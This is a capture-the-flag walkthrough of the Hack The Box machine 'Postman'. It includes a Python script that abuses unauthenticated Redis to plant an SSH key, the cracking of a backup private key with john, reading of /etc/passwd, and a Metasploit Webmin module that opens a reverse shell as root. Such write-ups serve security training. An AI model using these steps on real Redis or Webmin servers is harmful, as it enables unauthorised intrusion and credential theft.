It was an easy machine from Hack The Box with:
-
Redis
unauthenticated RCE. - SSH user private key in some system folder.
- Webmin package update RCE with Metasploit.
1. Enumeration
First things first lets add
10.10.10.160
in
/etc/hosts
as
postman.htb
and enumerate our machine with
nmap
to discover open ports and services.
I ran initial
nmap
and got some stuff, but that wasn’t enough. So, lets run
nmap
with all ports to see what’s really running on this machine.
root@kali:~# nmap -sC -sV -p- -sT -T4 -o postman-all postman.htb
# Nmap 7.80 scan initiated Thu Jan 9 15:55:57 2020 as: nmap -sC -sV -p- -sT -T4 -o postman-all 10.10.10.160
Warning: 10.10.10.160 giving up on port because retransmission cap hit (6).
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.089s latency).
Not shown: 65235 closed ports, 295 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
8000/tcp open tcpwrapped
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 9 16:12:00 2020 -- 1 IP address (1 host up) scanned in 963.15 seconds
We found
http
on port
80, 10000
,
ssh
on
port
22
and
the interesting one was
Redis
on port
6347
.
So, lets go to the browser to see what is running on those ports
80, 10000
.
Web Enumeration
The home page on port
80
was
sort of nothing just a little scroll to top button:
Lets check the other port
postman.htb:10000
:
It shows us an
SSL
error, so lets add
https
:
Now it’s sort of
login
page for some web app called Webmin, so let us
search what it is.
“Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.”
So, it’s an app able to configure and manage Unix system files.
I tried to intercept the login request with
burp
to see what can I do with it, but it seems well-configured and
there is no way to brute force because the response time for
each request and that could take very long time. Don’t forget
it’s an easy box.
Redis Enumeration
“Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. It supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, bitmaps, streams, and spatial indexes.”
Now we still have
Redis
on port
6347
.
I don’ know much about it, so let’s search about
Redis
database and how to connect to it with Linux. After searching, I
found
Redis
Command Line Interface to interact with
Redis
servers.
root@kali:~# redis-cli -h postman.htb
postman.htb:6379>
After installing
redis-cli
and trying to connect to
postman.htb
it. We got an access without any sort of authentication. I spend
some time learning basic
Redis
commands to see what can I do with it until I got something.
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379>
The command above just shows us where’s the config file for this
Redis
instance and we got
.ssh
as config file. I struggled with this a lot thinking what I can
do to take advantage of that config file.
2. Exploitation
We know that the machine run
ssh
service so I found that I can put something on the
Redis
memory, copy it into a random file let say
~/ssh/authorized_keys
as config file in order to gain access with
ssh
.
Let us generate
ssh
key:
root@kali:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:72rWSWzN8yWhJa80YdzlN0X59GaD1CgeoA4gml9OBqY root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o. .. o.o|
|.+... . o o o+|
|E +. . ..+..++|
| . = o .=.+oB|
| . . .S. + * ++|
| .+ B o .|
| +.o = o |
| o.o . . |
| o... |
+----[SHA256]-----+
Now we have the key. Our goal is to put it into the
Redis
server memory and after that we can transfer it into a file, in
a way that the
authorized_keys
is still a valid file.
To store the key into the
Redis
memory, we should use the
RDP
format.
“RDB format is a binary representation of the in-memory store.”
By adding some padding around
ssh
public key we generated.
root@kali:~# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
Now
key.txt
is our public key with new lines. We can write this inside
Redis
memory using
redis-cli
.
The writing process takes some steps and I love writing code, so
let’s automate our process with the following
python
script:
#!/usr/bin/env python
from pwn import remote, context
from subprocess import Popen, PIPE
from termcolor import colored
import sys
context.log_level = 'critical'
if len(sys.argv) != 2:
print("Usage: exploit.py [ip]")
exit(1)
ip = sys.argv[1]
pub_key = "cat key.txt | redis-cli -h {} -x set crackit".format(ip).split(" ")
flush = "redis-cli -h {} flushall".format(ip).split(" ")
print colored("[!] Flushing memory.", "yellow")
print colored("[+] " + Popen(flush, stdout=PIPE).stdout.read().strip() + "\n", "green")
print colored("[!] Sending public key.", "yellow")
p1 = Popen(pub_key[:2],stdout=PIPE)
p2 = Popen(pub_key[3:], stdin=p1.stdout, stdout=PIPE)
print colored("[+] " + p2.communicate()[0].strip() + "\n", "green")
redis = remote(ip, 6379)
print colored("[!] Setting config directory", "yellow")
redis.sendline("config set dir '/var/lib/redis/.ssh'")
print colored("[" +redis.recvline()[0] + "] OK\n", "green")
print colored("[!] Setting 'authorized_keys' as config file.", "yellow")
redis.sendline("config set dbfilename \"authorized_keys\"")
print colored("[" +redis.recvline()[0] + "] OK\n", "green")
print colored("[!] Saving our config settings.", "yellow")
redis.sendline("save")
print colored("[" +redis.recvline()[0] + "] OK\n", "green")
print "[+] Now you can connect to the server via 'ssh -i priv_key redis@{}' with your private key.\n".format(ip)
The script does the following steps:
-
Flushing
Redis
memory to start writing our key. -
Sending our padded
ssh
public key toRedis
memory. -
Setting
Redis
config directory to be.ssh
. -
Setting
authorized_keys
as aRedis
config file. - Saving the config settings.
Now we’re able to gain access via
ssh
using our private key:
3. User Enumeration
Let’s see available users exist in the system:
redis@Postman:~# tail /etc/passwd
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash
We already on
redis
,
so we can see what user
Matt
can do on the system:
redis@Postman:~# find / -type f -ls 2>/dev/null | grep Matt | head -5
158996 4 -rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 /opt/id_rsa.bak
143265 4 -rw-r--r-- 1 Matt Matt 3771 Aug 25 15:10 /home/Matt/.bashrc
131199 4 -rw------- 1 Matt Matt 1726 Feb 6 17:50 /home/Matt/.bash_history
159000 4 -rw-rw---- 1 Matt Matt 33 Aug 26 03:07 /home/Matt/user.txt
158997 4 -rw-rw-r-- 1 Matt Matt 66 Aug 26 00:48 /home/Matt/.selected_editor
143266 4 -rw-r--r-- 1 Matt Matt 807 Aug 25 15:10 /home/Matt/.profile
Oh! We found some sort of
ssh
private key inside
/opt/id_rsa.bak
. Let’s copy it into our machine and extract it using
ssh2john
.
root@kali:~# ssh2john matt.key > matt.priv
Own User
Now we’re able to use our friend
john
to crack the
matt.priv
and own user:
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt matt.priv
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (matt.key)
1g 0:00:00:19 18.30% (ETA: 20:09:25) 0.05221g/s 148343p/s 148343c/s 148343C/s w33mof
And we got
computer2008
as a
ssh
password. I tried to connect with
ssh
,
but something went wrong.
root@kali:~# ssh -i matt.key Matt@postman.htb
Enter passphrase for key 'matt.key':
Connection closed by 10.10.10.160 port 22
So I tried to switch to user
Matt
from
redis
user and it worked.
redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ cat ~/user.txt
517ad0ec
4. Root
As we remember we got a Webmin app running on
port
10000
.
Now we can see what version is running on the box and search for
any vulnerabilities with
searchsploit
.
Matt@Postman:/var/lib/redis$ find / -type f -ls 2>/dev/null | grep webmin | grep version | head -5
280138 4 -rw-r--r-- 1 root root 6 Aug 25 17:26 /etc/webmin/version
273481 20 -rw-r--r-- 1 root root 18410 May 5 2019 /usr/share/webmin/authentic-theme/images/notifications_csf_remote_version.png
273482 12 -rw-r--r-- 1 root root 11165 May 5 2019 /usr/share/webmin/authentic-theme/images/notifications_authentic_remote_version.png
277316 4 -rw-r--r-- 1 root root 265 May 5 2019 /usr/share/webmin/postfix/help/opt_mail_version.ca.html
276799 4 -rw-r--r-- 1 root root 252 May 5 2019 /usr/share/webmin/postfix/help/opt_mail_version.pl.html
Matt@Postman:/var/lib/redis$ cat /etc/webmin/version
1.910
root@kali:~# searchsploit webmin 1.91
------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------- ----------------------------------------
Webmin 1.910 - 'Package Updates' Remote Co | exploits/linux/remote/46984.rb
------------------------------------------- ----------------------------------------
Shellcodes: No Result
We found
Package Updates RCE
with
Metasploit
module. Let’s run it and own root:
msf5 > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
3 exploit/unix/webapp/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
rhosts => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
ssl => true
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.15.66
lhost => 10.10.16.96
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008
password => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > run
[*] Started reverse TCP handler on 10.10.16.96:4444
[+] Session cookie: ebd2b1f371759364d859c616550e5bc3
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.15.66:1337 -> 10.10.10.160:34846) at 2020-02-06 23:03:57 +0200
id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd ~
root@Postman:~# cat root.txt
a257741c